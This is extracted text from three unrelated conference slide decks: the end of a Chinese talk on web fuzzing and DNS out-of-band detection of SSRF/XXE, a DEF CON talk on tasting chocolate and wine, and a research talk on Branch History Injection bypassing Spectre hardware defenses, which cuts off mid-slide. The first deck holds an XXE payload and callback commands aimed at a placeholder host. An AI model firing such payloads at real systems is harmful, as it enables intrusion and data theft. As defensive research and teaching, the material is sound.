任意文件上传
任意文件读取
敏感文件操作
怎么解决诸如ssrf等网络操作的问题?
PART
04
http盲攻击
ssrf可以探索企业内网
构造请求dns解析的数据
• Ping –c 1 xxx.pw
• url=http://xxx.pw
• <?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xdsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe SYSTEM "http://xxxx.pw/text.txt" >]>
<methodcall>
<methodname>&xxe;</methodname>
</methodcall>
利用dns带外数据传输可以发现ssrf,xxe,命令执行等漏洞
如何半自动化?
PART
05
fuzzing
web api
正常数据
畸形数据
……数据
危险函数参数日志
数据库日志
auditd日志
dns日志
Web 报错日志
poc数据
如何快速开始fuzzing呢?
利用burp自带的功能就可以
需要根据自己的业务类型制定自己的测试用例
自己要想办法处理产生的大量的日志
需要自己处理的问题
其他问题
To do
1. 自动化部署客户端
2. 开发一个日志处理平台
3. 尽可能的覆盖更多的漏洞类型
4. 丰富测试用例
5. 开源 ( https://github.com/niexinming/python_hook)
结语
•我已经将上面的所提到的技术广泛的用在我自己的工作之中,为我自己节省了大
量的时间和精力。并且通过比较多实践,我把一些繁琐的过程和步骤做了简化,
也填了大大小小的坑。与此同时,我找到了公司内部产品中出现的大大小小的漏
洞,虽然这些漏洞没办法分享出来,但是我希望大家能从我今天分享的东西中学
到一些有用的东西。后续我也会把这个ppt中内容发到我的博客中,如果大家有什
么问题和想法,欢迎在csdn上私信我,或者在我的留言板中留言
谢谢观看
演讲人:聂心明 | pdf |
De Gustibus*
Adventures in Hacking Taste
Sandy Clark (Mouse)
Erin (Edw0rd)
Defcon 09
*De Gustibus Non Est Disputandem
Confessions of a Foodie
• Hackers in Norway (the motivation for this
talk)
Confessions of a Foodie
• Hackers in Norway (the Motivation for this talk)
• The child is the maker of the Mouse
Confessions of a Foodie
• Hackers in Norway (the Motivation for this
talk)
• The child is the maker of the Mouse
• What you may expect today.
– The Science
– The Experiments
The Science:
• This is your brain on taste
• Tastes Like Chicken
• Commercially Prepared foods DOS your
brain.
• You are what you eat, literally!
The Experiments:
• How to taste Chocolate
• Chocolate & Wine
• Why the fuss over a Vinegar?
• Miracle Fruit
Banyuls
What the Experts say:
Banyuls is a grenache-based fortified wine that has been made
since the thirteenth century. It was then that a physician and
alchemist named Arnaud de Villeneuve discovered the method of
mutage, when he figured out that the fermentation of wine could be halted by
adding pure grape spirit to it, thereby leaving it sweet. Banyuls is allowed to
ferment until it has about six percent alcohol, then spirit is added, raising the
alcohol level to about fifteen percent. …a sweet wine that is a classic
companion to semi-sweet or dark chocolate. While rich and full-bodied, it is less
sweet and syrupy than a typical dessert wine. It possesses a lovely garnet color
and a good balanced acidity that makes it come off as more delicate than
vintage port.
What I say: Meh! ---
That is, until you pair it with Chocolate…
How to taste Chocolate
• Use your Eyes
• Touch it
• Use your Ears
• Smell It
• Now Put it on your tongue - It must melt, to be
tasted.
The steps to tasting anything
(especially chocolate):
• 1. Put a tiny piece in your mouth, allow it to melt
• 2. Concentrate on mouth feel and change of flavors over
time
• 3. Look for flavor notes: Do they change, are they
combined or separate, how intense are they?
• 4. Do you feel bitterness, acid, astringency? Mild or
harsh?
• 5. See if you recognize all 3 tasting phases :
–
A. What you feel at first
–
B. What you feel as it melts
–
C. “The end of the mouth” -- what you feel as you swallow.
6. How do you rate it out of 10?
When is a vinegar not a
vinegar?
•
Balsamic vinegar is a thick, sweet vinegar made from the pure
and unfermented juice of grape called the "must."
•
native to Modena, Italy
•
True, gourmet balsamic vinegar is slowly aged in wooden
barrels.
•
The process of making balsamic vinegar begins by boiling the
grape juice until it becomes a thick syrup. It is then transferred to
the wooden barrels to start the aging process.
•
This can take from 6 months to several years.
•
The balsamic vinegars sold in your average grocery store are
probably only aged for a few months in stainless steel tanks
Miracle Fruit
• The science:
•
Large glycoprotein chain
called Miraculin. was so
large it was hard to find.
•
Miraculin binds to the taste
buds and is activated by
acidic/bitter foods, releasing
sugars onto your taste buds.
•
Sour becomes sweet.
• The Experiments:
• Dissolve on your tongue
coat the whole thing!
• Taste stuff.
• Effects last for ~60min.
Ready to Experiment?
• For best effect try them in this order:
– Banyuls & Venezuelan Chocolate -first
taste the wine, then allow the chocolate to
melt on the tongue, then taste the wine
again.
– Identify the 5 Michel Cluizel Plantations
– Taste the balsamic vinegar
– Miracle fruit - (allow it to dissolve and coat
the tongue) now try *anything* from the
samples. | pdf |
A DIRTY LITTLE
HISTORY
Bypassing Spectre Hardware Defenses to Leak Kernel Data
1
2
Vrije Universiteit Amsterdam
Enrico
Barberis
Herbert
Bos
Cristiano
Giuffrida
Marius
Muench
Pietro
Frigo
2
TL;DR
•
Spectre affects most modern CPUs
○
You can leak data across privilege levels (e.g., User-to-Kernel)
•
CPU vendors released HW defenses to thwart exploitation
•
But do they actually work?
3
4
Outline
•
Spectre-101
•
Bypassing Spectre Hardware Defenses
•
Branch History Injection
•
Exploit + Live Demo
5
Spectre-101
6
Spectre 101
if (x < array.size) // size = 128
y = array[x];
BPU
array[x]
0
1
2
128
...
7
Spectre 101
if (x < array.size) // size = 128
y = array[x];
BPU
0
1
2
128
array[0]
...
7
Spectre 101
if (x < array.size) // size = 128
y = array[x];
BPU
0
1
2
128
array[0]
...
7
Spectre 101
if (x < array.size) // size = 128
y = array[x];
BPU
0
1
2
128
array[1]
...
7
Spectre 101
if (x < array.size) // size = 128
y = array[x];
BPU
0
1
2
128
array[2]
...
7
Spectre 101
if (x < array.size) // size = 128
y = array[x];
BPU
0
1
2
128
256
array[256]
...
7
Spectre 101
if (x < array.size) // size = 128
y = array[x];
BPU
Speculative
OOB read
0
1
2
128
256
array[256]
...
7
Spectre & Flush+Reload
if (x < array.size) // size = 128
y = array[x];
z = reload_buff[y];
BPU
0
1
2
128
256
array[256]
...
8
Spectre & Flush+Reload
if (x < array.size) // size = 128
y = array[x];
z = reload_buff[y];
BPU
0
1
2
128
256
array[256]
0
1
2
256
reload_buff[y]
3
...
...
8
Spectre & Flush+Reload
if (x < array.size) // size = 128
y = array[x];
z = reload_buff[y];
BPU
0
1
2
128
256
array[256]
0
1
2
256
reload_buff[y]
3
3
...
...
8
Spectre & Flush+Reload
if (x < array.size) // size = 128
y = array[x];
z = reload_buff[y];
BPU
0
1
2
128
256
array[256]
0
1
2
256
reload_buff[y]
3
3
...
...
8
Spectre & Flush+Reload
if (x < array.size) // size = 128
y = array[x];
z = reload_buff[y];
BPU
0
1
2
128
256
array[256]
0
1
2
256
reload_buff[y]
3
3
...
...
Cached
8
Spectre & Flush+Reload
if (x < array.size) // size = 128
y = array[x];
z = reload_buff[y];
BPU
0
1
2
128
256
array[256]
0
1
2
256
reload_buff[y]
3
3
...
...
Cached
8
Spectre & Flush+Reload
if (x < array.size) // size = 128
y = array[x];
z = reload_buff[y];
BPU
0
1
2
128
256
array[256]
0
1
2
256
reload_buff[y]
3
3
...
...
Cached
8
Spectre & Flush+Reload
if (x < array.size) // size = 128
y = array[x];
z = reload_buff[y];
BPU
0
1
2
128
256
array[256]
0
1
2
256
reload_buff[y]
3
3
...
...
Cached
8
Spectre & Flush+Reload
if (x < array.size) // size = 128
y = array[x];
z = reload_buff[y];
BPU
0
1
2
128
256
array[256]
0
1
2
256
reload_buff[y]
3
3
...
...
Cached
8
Indirect Branch Prediction
// Cat
Cat kitten = new Cat();
speak(kitten);
//Dog
Dog puppy = new Dog();
speak(puppy);
void speak(Animal a) {
a.talk();
}
9
Indirect Branch Prediction
// Cat
Cat kitten = new Cat();
speak(kitten);
//Dog
Dog puppy = new Dog();
speak(puppy);
void speak(Animal a) {
a.talk();
}
9
Indirect Branch Prediction
// Cat
Cat kitten = new Cat();
speak(kitten);
//Dog
Dog puppy = new Dog();
speak(puppy);
void speak(Animal a) {
a.talk();
}
“meow” 🐱
9
Indirect Branch Prediction
// Cat
Cat kitten = new Cat();
speak(kitten);
//Dog
Dog puppy = new Dog();
speak(puppy);
void speak(Animal a) {
a.talk();
}
9
Indirect Branch Prediction
// Cat
Cat kitten = new Cat();
speak(kitten);
//Dog
Dog puppy = new Dog();
speak(puppy);
void speak(Animal a) {
a.talk();
}
“woof” 🐶
9
Indirect Branch Prediction
// Cat
Cat kitten = new Cat();
speak(kitten);
//Dog
Dog puppy = new Dog();
speak(puppy);
void speak(Animal a) {
a.talk();
}
10
Indirect Branch Prediction
// Cat
Cat kitten = new Cat();
speak(kitten);
//Dog
Dog puppy = new Dog();
speak(puppy);
void speak(Animal a) {
a.talk();
}
10
Indirect Branch Prediction
// Cat
Cat kitten = new Cat();
speak(kitten);
//Dog
Dog puppy = new Dog();
speak(puppy);
void speak(Animal a) {
a.talk();
}
10
BPU
🤷
Indirect Branch Prediction
// Cat
Cat kitten = new Cat();
speak(kitten);
//Dog
Dog puppy = new Dog();
speak(puppy);
void speak(Animal a) {
a.talk();
}
10
BTB
TAG
TARGET
TAGcat
“meow” 🐱
TAGdog
“woof” 🐶
...
...
BPU
Indirect Branch Prediction
// Cat
Cat kitten = new Cat();
speak(kitten);
//Dog
Dog puppy = new Dog();
speak(puppy);
void speak(Animal a) {
a.talk();
}
10
BTB
TAG
TARGET
TAGcat
“meow” 🐱
TAGdog
“woof” 🐶
...
...
BPU
“meow” 🐱
“woof” 🐶
Spectre-v2
// Cat
Cat kitten = new Cat();
speak(kitten);
//Dog
Dog puppy = new Dog();
speak(puppy);
void speak(Animal a) {
a.talk();
}
11
BTB
TAG
TARGET
TAGcat
“meow” 🐱
TAGdog
“woof” 🐶
...
...
BPU
Spectre-v2
// Cat
Cat kitten = new Cat();
speak(kitten);
//Dog
Dog puppy = new Dog();
speak(puppy);
void speak(Animal a) {
a.talk();
}
11
BTB
TAG
TARGET
TAGcat
“meow” 🐱
TAGdog
“woof” 🐶
...
...
BPU
Spectre-v2
// Cat
Cat kitten = new Cat();
speak(kitten);
//Dog
Dog puppy = new Dog();
speak(puppy);
void speak(Animal a) {
a.talk();
}
11
BTB
TAG
TARGET
TAGcat
“meow” 🐱
TAGdog
“woof” 🐶
...
...
BPU
leak_secret 😈
Spectre-v2
// Cat
Cat kitten = new Cat();
speak(kitten);
//Dog
Dog puppy = new Dog();
speak(puppy);
void speak(Animal a) {
a.talk();
}
11
BTB
TAG
TARGET
TAGcat
“meow” 🐱
TAGdog
“woof” 🐶
...
...
BPU
leak_secret 😈
Spectre-v2
// Cat
Cat kitten = new Cat();
speak(kitten);
//Dog
Dog puppy = new Dog();
speak(puppy);
void speak(Animal a) {
a.talk();
}
leak_secret 😈
11
BTB
TAG
TARGET
TAGcat
“meow” 🐱
TAGdog
“woof” 🐶
...
...
BPU
leak_secret 😈
Spectre-v2 capabilities
12
App
App
Kernel
User
Kernel
Guest
Host
●
Software
●
Intel:
Retpoline
Spectre-v2 defenses
13
call call_thunk
capture_spec:
pause
jmp capture_spec
call_thunk:
mov [rsp], rax;
ret
call rax
●
Software
●
Intel:
Retpoline
●
AMD:
AMD Retpoline ( = concept, != implementation )
●
Arm:
Weird things 😢
Spectre-v2 defenses
14
●
Software
●
Intel:
Retpoline
●
AMD:
AMD Retpoline ( = concept, != implementation )
●
Arm:
Weird things 😢
●
Hardware
○
Intel:
eIBRS
○
Arm:
FEAT_CSV2
Spectre-v2 defenses
15
●
Software
●
Intel:
Retpoline
●
AMD:
AMD Retpoline ( = concept, != implementation )
●
Arm:
Weird things 😢
●
Hardware
○
Intel:
eIBRS
○
Arm:
FEAT_CSV2
Spectre-v2 defenses
15
Predictor-mode
isola&on in hardware
PRIV
TAG
TARGET
kernel
TAG_A
kern_func_a
user
TAG_B
user_func
kernel
TAG_C
kern_func_b
Intel eIBRS & Arm CSV2
Idea: tag BTB entries by security domain
16
BPU
BTB
PRIV
TAG
TARGET
kernel
TAG_A
kern_func_a
user
TAG_B
user_func
kernel
TAG_C
kern_func_b
Intel eIBRS & Arm CSV2
Idea: tag BTB entries by security domain
16
kern: jmp rax
BPU
BTB
PRIV
TAG
TARGET
kernel
TAG_A
kern_func_a
user
TAG_B
user_func
kernel
TAG_C
kern_func_b
Intel eIBRS & Arm CSV2
Idea: tag BTB entries by security domain
16
PRIV
TAG
TARGET
kernel
TAG_A
kern_func_a
user
TAG_B
user_func
kernel
TAG_C
kern_func_b
kern: jmp rax
BPU
BTB
PRIV
TAG
TARGET
kernel
TAG_A
kern_func_a
user
TAG_B
user_func
kernel
TAG_C
kern_func_b
Intel eIBRS & Arm CSV2
Idea: tag BTB entries by security domain
16
PRIV
TAG
TARGET
kernel
TAG_A
kern_func_a
user
TAG_B
user_func
kernel
TAG_C
kern_func_b
kern: jmp rax
BPU
BTB
Is this isola*on complete?
Intel eIBRS & Arm CSV2
17
Intel eIBRS & Arm CSV2
17
Bypassing Spectre Hardware
Defenses
18
Indirect Branch Prediction
// Cat
Cat kitten = new Cat();
speak(kitten);
//Dog
Dog puppy = new Dog();
speak(puppy);
void speak(Animal a) {
a.talk();
}
19
Indirect Branch Prediction
// Cat
Cat kitten = new Cat();
speak(kitten);
//Dog
Dog puppy = new Dog();
speak(puppy);
void speak(Animal a) {
a.talk();
}
19
Indirect Branch Prediction
// Cat
Cat kitten = new Cat();
speak(kitten);
//Dog
Dog puppy = new Dog();
speak(puppy);
void speak(Animal a) {
a.talk();
}
“meow” 🐱
19
Indirect Branch Prediction
// Cat
Cat kitten = new Cat();
speak(kitten);
//Dog
Dog puppy = new Dog();
speak(puppy);
void speak(Animal a) {
a.talk();
}
19
Indirect Branch Prediction
// Cat
Cat kitten = new Cat();
speak(kitten);
//Dog
Dog puppy = new Dog();
speak(puppy);
void speak(Animal a) {
a.talk();
}
“woof” 🐶
19
Indirect Branch Prediction
// Cat
Cat kitten = new Cat();
speak(kitten);
//Dog
Dog puppy = new Dog();
speak(puppy);
void speak(Animal a) {
a.talk();
}
“woof” 🐶
One single function call??
BPU
🧐⁉
19
Indirect Branch Prediction
// Cat
Cat kitten = new Cat();
speak(kitten);
//Dog
Dog puppy = new Dog();
speak(puppy);
void speak(Animal a) {
a.talk();
}
“woof” 🐶
One single function call??
Prediction depends on the context
BPU
🧐⁉
19
Indirect Branch Prediction
// Cat
Cat kitten = new Cat();
speak(kitten);
//Dog
Dog puppy = new Dog();
speak(puppy);
void speak(Animal a) {
a.talk();
}
BPU
20
Indirect Branch Prediction
// Cat
Cat kitten = new Cat();
speak(kitten);
//Dog
Dog puppy = new Dog();
speak(puppy);
void speak(Animal a) {
a.talk();
}
BPU
20
Indirect Branch Prediction
// Cat
Cat kitten = new Cat();
speak(kitten);
//Dog
Dog puppy = new Dog();
speak(puppy);
void speak(Animal a) {
a.talk();
}
BPU
breed_cats()
└► new_cat()
└► new Cat()
kitten_first_words()
└► speak()
20
Indirect Branch Prediction
// Cat
Cat kitten = new Cat();
speak(kitten);
//Dog
Dog puppy = new Dog();
speak(puppy);
void speak(Animal a) {
a.talk();
}
BPU
breed_cats()
└► new_cat()
└► new Cat()
kitten_first_words()
└► speak()
context
20
Indirect Branch Prediction
// Cat
Cat kitten = new Cat();
speak(kitten);
//Dog
Dog puppy = new Dog();
speak(puppy);
void speak(Animal a) {
a.talk();
}
BPU
breed_cats()
└► new_cat()
└► new Cat()
kitten_first_words()
└► speak()
context
TAG
TARGET
TAGcat
“meow” 🐱
...
...
TAGdog
“woof” 🐶
BTB
20
Indirect Branch Prediction
// Cat
Cat kitten = new Cat();
speak(kitten);
//Dog
Dog puppy = new Dog();
speak(puppy);
void speak(Animal a) {
a.talk();
}
BPU
breed_cats()
└► new_cat()
└► new Cat()
kitten_first_words()
└► speak()
context
TAG
TARGET
TAGcat
“meow” 🐱
...
...
TAGdog
“woof” 🐶
BTB
20
Indirect Branch Prediction
// Cat
Cat kitten = new Cat();
speak(kitten);
//Dog
Dog puppy = new Dog();
speak(puppy);
void speak(Animal a) {
a.talk();
}
BPU
breed_cats()
└► new_cat()
└► new Cat()
kitten_first_words()
└► speak()
context
TAG
TARGET
TAGcat
“meow” 🐱
...
...
TAGdog
“woof” 🐶
BTB
20
Indirect Branch Prediction
// Cat
Cat kitten = new Cat();
speak(kitten);
//Dog
Dog puppy = new Dog();
speak(puppy);
void speak(Animal a) {
a.talk();
}
BPU
“meow” 🐱
TAG
TARGET
TAGcat
“meow” 🐱
...
...
TAGdog
“woof” 🐶
BTB
20
Indirect Branch Prediction
// Cat
Cat kitten = new Cat();
speak(kitten);
//Dog
Dog puppy = new Dog();
speak(puppy);
void speak(Animal a) {
a.talk();
}
“meow” 🐱
BPU
“meow” 🐱
TAG
TARGET
TAGcat
“meow” 🐱
...
...
TAGdog
“woof” 🐶
BTB
20
Context-based prediction
TAG
TARGET
TAGcat
“meow” 🐱
...
...
TAGdog
“woof” 🐶
BTB
breed_cats()
└► new_cat()
└► new Cat()
kitten_first_words()
└► speak()
21
0x1337: void speak(Animal a) {
0x1338: a.talk();
}
Context-based prediction
TAG
TARGET
TAGcat
“meow” 🐱
...
...
TAGdog
“woof” 🐶
BTB
breed_cats()
└► new_cat()
└► new Cat()
kitten_first_words()
└► speak()
21
Shift Register
0x1337: void speak(Animal a) {
0x1338: a.talk();
}
F1
BHB
Context-based prediction
TAG
TARGET
TAGcat
“meow” 🐱
...
...
TAGdog
“woof” 🐶
BTB
breed_cats()
└► new_cat()
└► new Cat()
kitten_first_words()
└► speak()
21
Shift Register
0x1337: void speak(Animal a) {
0x1338: a.talk();
}
F1
BHB
F2
Context-based prediction
TAG
TARGET
TAGcat
“meow” 🐱
...
...
TAGdog
“woof” 🐶
BTB
breed_cats()
└► new_cat()
└► new Cat()
kitten_first_words()
└► speak()
21
Shift Register
0x1337: void speak(Animal a) {
0x1338: a.talk();
}
F1
BHB
F2
=?
TAGcat
“meow” 🐱
Bypassing Spectre Hardware Defenses
Intuition: user history is necessary for accurate kernel prediction
22
TAG
PRIV
TARGET
Bypassing Spectre Hardware Defenses
Intuition: user history is necessary for accurate kernel prediction
22
printf(‘Hello’)
└► syscall(write, stdout, ‘Hello’, 5)
User space
sys_call_table[NR_write](regs)
└► sys_write
Kernel space
BTB
TAG
PRIV
TARGET
TAG
PRIV
TARGET
TAGwrite
kernel
sys_write
Bypassing Spectre Hardware Defenses
Intuition: user history is necessary for accurate kernel prediction
22
printf(‘Hello’)
└► syscall(write, stdout, ‘Hello’, 5)
User space
sys_call_table[NR_write](regs)
└► sys_write
Kernel space
BTB
TAG
PRIV
TARGET
TAGwrite
kernel
sys_write
Bypassing Spectre Hardware Defenses
Intuition: user history is necessary for accurate kernel prediction
23
getc(stdin)
└► syscall(read, stdin, &c, 1)
User space
sys_call_table[NR_read](regs)
└► sys_read
Kernel space
BTB
TAG
PRIV
TARGET
TAGwrite
kernel
sys_write
TAG
PRIV
TARGET
TAGwrite
kernel
sys_write
TAGread
kernel
sys_read
Bypassing Spectre Hardware Defenses
Intuition: user history is necessary for accurate kernel prediction
23
getc(stdin)
└► syscall(read, stdin, &c, 1)
User space
sys_call_table[NR_read](regs)
└► sys_read
Kernel space
BTB
TAG
PRIV
TARGET
TAGwrite
kernel
sys_write
TAG
PRIV
TARGET
TAGwrite
kernel
sys_write
TAGread
kernel
sys_read
Bypassing Spectre Hardware Defenses
Intuition: user history is necessary for accurate kernel prediction
24
printf(‘VUSec’)
└► syscall(write, stdout, ‘VUSec’, 5)
User space
sys_call_table[???](regs)
└► ???
Kernel space
BTB
TAG
PRIV
TARGET
TAGwrite
kernel
sys_write
TAG
PRIV
TARGET
TAGwrite
kernel
sys_write
TAGread
kernel
sys_read
Bypassing Spectre Hardware Defenses
Intuition: user history is necessary for accurate kernel prediction
24
printf(‘VUSec’)
└► syscall(write, stdout, ‘VUSec’, 5)
User space
sys_call_table[???](regs)
└► ???
Kernel space
BTB
BPU
I’ve already seen this user history!
Speculate on sys_write
Bypassing Spectre Hardware Defenses
Can we control kernel branch prediction with user-space history?
25
TAG
PRIV
TARGET
Bypassing Spectre Hardware Defenses
Can we control kernel branch prediction with user-space history?
25
context_A_1()
└► ...
└► context_A_64()
└► syscall(sys_a)
sys_call_table[NR_sys_a](regs)
└► sys_a()
BTB
User space
Kernel space
TAG
PRIV
TARGET
TAG
PRIV
TARGET
TAGA
kernel
sys_a
Bypassing Spectre Hardware Defenses
Can we control kernel branch prediction with user-space history?
25
context_A_1()
└► ...
└► context_A_64()
└► syscall(sys_a)
sys_call_table[NR_sys_a](regs)
└► sys_a()
BTB
User space
Kernel space
TAG
PRIV
TARGET
TAGA
kernel
sys_a
Bypassing Spectre Hardware Defenses
Can we control kernel branch prediction with user-space history?
26
context_B_1()
└► ...
└► context_B_64()
└► syscall(sys_b)
sys_call_table[NR_sys_b](regs)
└► sys_b()
BTB
User space
Kernel space
TAG
PRIV
TARGET
TAGA
kernel
sys_a
TAG
PRIV
TARGET
TAGA
kernel
sys_a
TAGB
kernel
sys_b
Bypassing Spectre Hardware Defenses
Can we control kernel branch prediction with user-space history?
26
context_B_1()
└► ...
└► context_B_64()
└► syscall(sys_b)
sys_call_table[NR_sys_b](regs)
└► sys_b()
BTB
User space
Kernel space
TAG
PRIV
TARGET
TAGA
kernel
sys_a
TAGB
kernel
sys_b
Bypassing Spectre Hardware Defenses
Can we control kernel branch prediction with user-space history?
27
context_A_1()
└► ...
└► context_A_64()
└► syscall(sys_b)
sys_call_table[???](regs)
└► ???
BTB
User space
Kernel space
TAG
PRIV
TARGET
TAGA
kernel
sys_a
TAGB
kernel
sys_b
Bypassing Spectre Hardware Defenses
Can we control kernel branch prediction with user-space history?
27
context_A_1()
└► ...
└► context_A_64()
└► syscall(sys_b)
sys_call_table[???](regs)
└► ???
BTB
User space
Kernel space
BPU
I’ve already seen this user history!
Speculate on sys_a
TAG
PRIV
TARGET
TAGA
kernel
sys_a
TAGB
kernel
sys_b
Bypassing Spectre Hardware Defenses
Can we control kernel branch prediction with user-space history?
27
context_A_1()
└► ...
└► context_A_64()
└► syscall(sys_b)
sys_call_table[???](regs)
└► ???
BTB
User space
Kernel space
BPU
I’ve already seen this user history!
Speculate on sys_a
Bypassing Spectre Hardware Defenses
Experiment results:
•
Intel
○
eIBRS: perfect mispredicQon! ✔
•
Arm
○
CSV2: perfect mispredicQon! ✔
•
AMD
○
retpoline: no mispredicQon! ❌
28
User context can be used to
mistrain kernel
indirect branches
(Even with HW defenses)
Branch History Injection (BHI)
29
Branch History Injection
30
For exploitation we need to understand:
Branch History Injection
30
For exploitation we need to understand:
•
Which targets we can speculatively execute
br_a: jmp rax
target_a
target_b
Branch History Injection
30
For exploitaOon we need to understand:
•
Which targets we can speculaOvely execute
br_a: jmp rax
target_a
target_b
🧐⁉
Branch History Injection
30
For exploitation we need to understand:
•
Which targets we can speculatively execute
•
Which branches we can mispredict
br_a: jmp rax
br_b: jmp rax
target_a
target_b
🧐⁉
Branch History Injection
30
For exploitation we need to understand:
•
Which targets we can speculatively execute
•
Which branches we can mispredict
br_a: jmp rax
br_b: jmp rax
target_a
target_b
🧐⁉
BPU Internals
31
Patents
BPU Internals
31
Patents
Rev. Eng.
BPU Internals
31
Patents
Rev. Eng.
BPU Internals
31
Patents
Rev. Eng.
Brute Force
BPU Internals
32
•
Just by controlling the BHB, what BTB tags can we generate?
TAG
TARGET
TAGcat
“meow” 🐱
...
...
TAGdog
“woof” 🐶
BTB
breed_cats()
└► new_cat()
└► new Cat()
kitten_first_words()
└► speak()
Shift Register
0x1337: void speak(Animal a) {
0x1338: a.talk();
}
F1
BHB
F2
=?
TAGxxx
“meow” 🐱
BPU Reverse Engineering – Brute Force
33
BPU Reverse Engineering – Brute Force
33
BPU Reverse Engineering – Brute Force
33
✔ Always correct predic5on! The BPU is able to dis5nguish HA from HB
BPU Reverse Engineering – Brute Force
33
✔ Always correct predic5on! The BPU is able to dis5nguish HA from HB
BPU Reverse Engineering – Brute Force
33
❌ Always misprediction! The BPU is unable to distinguish HA from HB
BPU Reverse Engineering – Brute Force
How long is this brute-force?
•
Intel 10th gen: 14 bits entropy
•
Intel 11th gen: 17 bits entropy
•
Cortex-X1: 9 bits entropy
34
Entropy is small enough to
make brute force feasible
BHI Capabilities
35
ind. branch
User
space
Kernel
space
BHI Capabilities
35
PRIV
TAG
TARGET
kernel
TAG_A
kern_func_a
user
TAG_B
user_func
kernel
TAG_C
kern_func_b
PRIV
TAG
TARGET
kernel
TAG_A
valid_target_a
user
TAG_B
user_func
kernel
TAG_C
valid_target_b
kernel
TAG_D
other_target_1
kernel
TAG_E
other_target_2
BTB
ind. branch
User
space
Kernel
space
BHI Capabilities
35
PRIV
TAG
TARGET
kernel
TAG_A
kern_func_a
user
TAG_B
user_func
kernel
TAG_C
kern_func_b
PRIV
TAG
TARGET
kernel
TAG_A
valid_target_a
user
TAG_B
user_func
kernel
TAG_C
valid_target_b
kernel
TAG_D
other_target_1
kernel
TAG_E
other_target_2
BTB
call f_a
syscall
ind. branch
call f_b
call ...
call f_y
User
space
Kernel
space
call f_z
BHI Capabilities
35
PRIV
TAG
TARGET
kernel
TAG_A
kern_func_a
user
TAG_B
user_func
kernel
TAG_C
kern_func_b
PRIV
TAG
TARGET
kernel
TAG_A
valid_target_a
user
TAG_B
user_func
kernel
TAG_C
valid_target_b
kernel
TAG_D
other_target_1
kernel
TAG_E
other_target_2
BTB
call f_a
syscall
ind. branch
call f_b
call ...
call f_y
User
space
Kernel
space
call f_z
BHI Capabilities
35
PRIV
TAG
TARGET
kernel
TAG_A
kern_func_a
user
TAG_B
user_func
kernel
TAG_C
kern_func_b
PRIV
TAG
TARGET
kernel
TAG_A
valid_target_a
user
TAG_B
user_func
kernel
TAG_C
valid_target_b
kernel
TAG_D
other_target_1
kernel
TAG_E
other_target_2
BTB
call f_a
syscall
ind. branch
call f_b
call ...
call f_y
User
space
Kernel
space
Attacker can mistrain to any
indirect branch target
call f_z
BHI Capabilities
35
PRIV
TAG
TARGET
kernel
TAG_A
kern_func_a
user
TAG_B
user_func
kernel
TAG_C
kern_func_b
PRIV
TAG
TARGET
kernel
TAG_A
valid_target_a
user
TAG_B
user_func
kernel
TAG_C
valid_target_b
kernel
TAG_D
other_target_1
kernel
TAG_E
other_target_2
BTB
call f_a
syscall
ind. branch
call f_b
call ...
call f_y
User
space
Kernel
space
Attacker can mistrain to any
indirect branch target
call f_z
Latest 67
branches
define context
BHI Capabilities
35
PRIV
TAG
TARGET
kernel
TAG_A
kern_func_a
user
TAG_B
user_func
kernel
TAG_C
kern_func_b
PRIV
TAG
TARGET
kernel
TAG_A
valid_target_a
user
TAG_B
user_func
kernel
TAG_C
valid_target_b
kernel
TAG_D
other_target_1
kernel
TAG_E
other_target_2
BTB
call f_a
syscall
ind. branch
call f_b
call ...
call f_y
User
space
Kernel
space
AEacker can mistrain to any
indirect branch target
call f_z
We need to
control 8
branches
Exploitation
36
Exploitation – The Plan
37
TAG
PRIV
TARGET
BTB
Exploitation – The Plan
37
TAG
PRIV
TARGET
BTB
1
Kernel space
trigger_leak_gadget()
User space
leak_gadget()
Exploitation – The Plan
37
BTB
1
Kernel space
trigger_leak_gadget()
User space
leak_gadget()
TAG
PRIV
TARGET
1337
kernel
leak_gadget
Exploitation – The Plan
37
f_39ca7e94 ()
└► ...
└► f_26a2be2()
└► syscall(getpid)
BTB
User space
Kernel space
1
Kernel space
trigger_leak_gadget()
User space
leak_gadget()
TAG
PRIV
TARGET
1337
kernel
leak_gadget
2
Exploitation – The Plan
37
f_39ca7e94 ()
└► ...
└► f_26a2be2()
└► syscall(getpid)
sys_call_table[NR_getpid](regs)
└► ???
BTB
User space
Kernel space
1
Kernel space
trigger_leak_gadget()
User space
leak_gadget()
TAG
PRIV
TARGET
1337
kernel
leak_gadget
2
Exploitation – The Plan
37
f_39ca7e94 ()
└► ...
└► f_26a2be2()
└► syscall(getpid)
sys_call_table[NR_getpid](regs)
└► ???
BTB
User space
Kernel space
1
Kernel space
trigger_leak_gadget()
User space
leak_gadget()
TAG
PRIV
TARGET
1337
kernel
leak_gadget
2
BPU
Exploitation – The Plan
37
f_39ca7e94 ()
└► ...
└► f_26a2be2()
└► syscall(getpid)
sys_call_table[NR_getpid](regs)
└► ???
BTB
User space
Kernel space
1
Kernel space
trigger_leak_gadget()
User space
leak_gadget()
TAG
PRIV
TARGET
1337
kernel
leak_gadget
2
BPU
2B04
Exploitation – The Plan
37
f_39ca7e94 ()
└► ...
└► f_26a2be2()
└► syscall(getpid)
sys_call_table[NR_getpid](regs)
└► ???
BTB
User space
Kernel space
1
Kernel space
trigger_leak_gadget()
User space
leak_gadget()
2
BPU
2B04
TAG
PRIV
TARGET
1337
kernel
leak_gadget
2B04
kernel
sys_getpid
Exploitation – The Plan
37
f_39ca7e94 ()
└► ...
└► f_26a2be2()
└► syscall(getpid)
sys_call_table[NR_getpid](regs)
└► ???
BTB
User space
Kernel space
1
Kernel space
trigger_leak_gadget()
User space
leak_gadget()
2
TAG
PRIV
TARGET
1337
kernel
leak_gadget
2B04
kernel
sys_getpid
Exploitation – The Plan
37
f_39ca7e94 ()
└► ...
└► f_26a2be2()
└► syscall(getpid)
sys_call_table[NR_getpid](regs)
└► ???
BTB
User space
Kernel space
1
Kernel space
trigger_leak_gadget()
User space
leak_gadget()
2
TAG
PRIV
TARGET
1337
kernel
leak_gadget
2B04
kernel
sys_getpid
Exploitation – The Plan
37
sys_call_table[NR_getpid](regs)
└► ???
BTB
User space
Kernel space
1
Kernel space
trigger_leak_gadget()
User space
leak_gadget()
2
TAG
PRIV
TARGET
1337
kernel
leak_gadget
2B04
kernel
sys_getpid
f_d2550282 ()
└► ...
└► f_6c6d0c06()
└► syscall(getpid)
Exploitation – The Plan
37
sys_call_table[NR_getpid](regs)
└► ???
BTB
User space
Kernel space
1
Kernel space
trigger_leak_gadget()
User space
leak_gadget()
2
BPU
TAG
PRIV
TARGET
1337
kernel
leak_gadget
2B04
kernel
